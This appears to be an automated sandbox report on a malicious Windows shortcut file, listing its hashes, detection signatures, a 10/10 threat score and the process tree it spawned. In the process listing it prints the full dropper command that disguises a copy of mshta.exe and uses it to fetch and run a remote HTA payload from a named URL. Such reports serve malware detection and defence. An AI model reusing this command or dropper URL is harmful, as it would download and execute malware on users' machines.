Analysis
- max time kernel
147s - max time network
142s - platform
windows10-2004_x64 - resource
win10v2004-20220812-en - resource tags
arch:x64arch:x86image:win10v2004-20220812-enlocale:en-usos:windows10-2004-x64system - submitted
01/09/2022, 11:04
Static task
static1
Behavioral task
behavioral1
Sample
ebadd662bb797b5077e24638de04a1554e19a56362d8fabe1ea6b6903491c95c.lnk
Resource
win7-20220812-en
4 signatures
150 seconds
Behavioral task
behavioral2
Sample
ebadd662bb797b5077e24638de04a1554e19a56362d8fabe1ea6b6903491c95c.lnk
Resource
win10v2004-20220812-en
4 signatures
150 seconds
General
- Target ebadd662bb797b5077e24638de04a1554e19a56362d8fabe1ea6b6903491c95c.lnk
- Size 1KB
- Sample220901-m6axxacffn
- SHA256 ebadd662bb797b5077e24638de04a1554e19a56362d8fabe1ea6b6903491c95c
- MD5 0ab873579b559f0f27dce3adbe54ca4f
- SHA1 e814237eabaeef49d0fb97b1f52ba4e0e984e36f
- SHA512 d118aca0749624e83f5902238f87d138f22d63e28cc9a02deefa7bb958f946979795c67d93db2f1a56e5303a92ca62c88ac98a0bacc090d06c6b2acb64916c5c
- MD5 SHA1 SHA512
Score
10/10
Malware Config
Extracted
Language
-
hta
Source
URLs
-
hta.dropper
https://doc.documentshare.info/DmJMFYpwLPP3ygS/NpPZkEHpGlDQb8izXVjfft1YnEM=
Signatures
- Blocklisted process makes network request 1 IoCs
flow pid Process 5 4108 mshta.exe - Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-1502147629-2175634256-330282290-1000\Control Panel\International\Geo\Nation cmd.exe - Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
- Suspicious use of WriteProcessMemory 4 IoCs
description pid Process procid_target PID 4984 wrote to memory of 4444 4984 cmd.exe 84 PID 4984 wrote to memory of 4444 4984 cmd.exe 84 PID 4444 wrote to memory of 4108 4444 cmd.exe 85 PID 4444 wrote to memory of 4108 4444 cmd.exe 85
Processes
-
C:\Windows\system32\cmd.execmd /c C:\Users\Admin\AppData\Local\Temp\ebadd662bb797b5077e24638de04a1554e19a56362d8fabe1ea6b6903491c95c.lnk1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4984 -
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /q /c type C:\Windows\system32\msh*.exe>C:\Users\Public\msh&ren C:\Users\Public\* *ta.exe&for %i IN (C:\Users\Public\ms*.exe) DO start /b %~ni "https://doc.documentshare.info/DmJMFYpwLPP3ygS/NpPZkEHpGlDQb8izXVjfft1YnEM="2⤵
- Suspicious use of WriteProcessMemory
PID:4444 -
C:\windows\system32\mshta.exemshta "https://doc.documentshare.info/DmJMFYpwLPP3ygS/NpPZkEHpGlDQb8izXVjfft1YnEM="3⤵
- Blocklisted process makes network request
PID:4108
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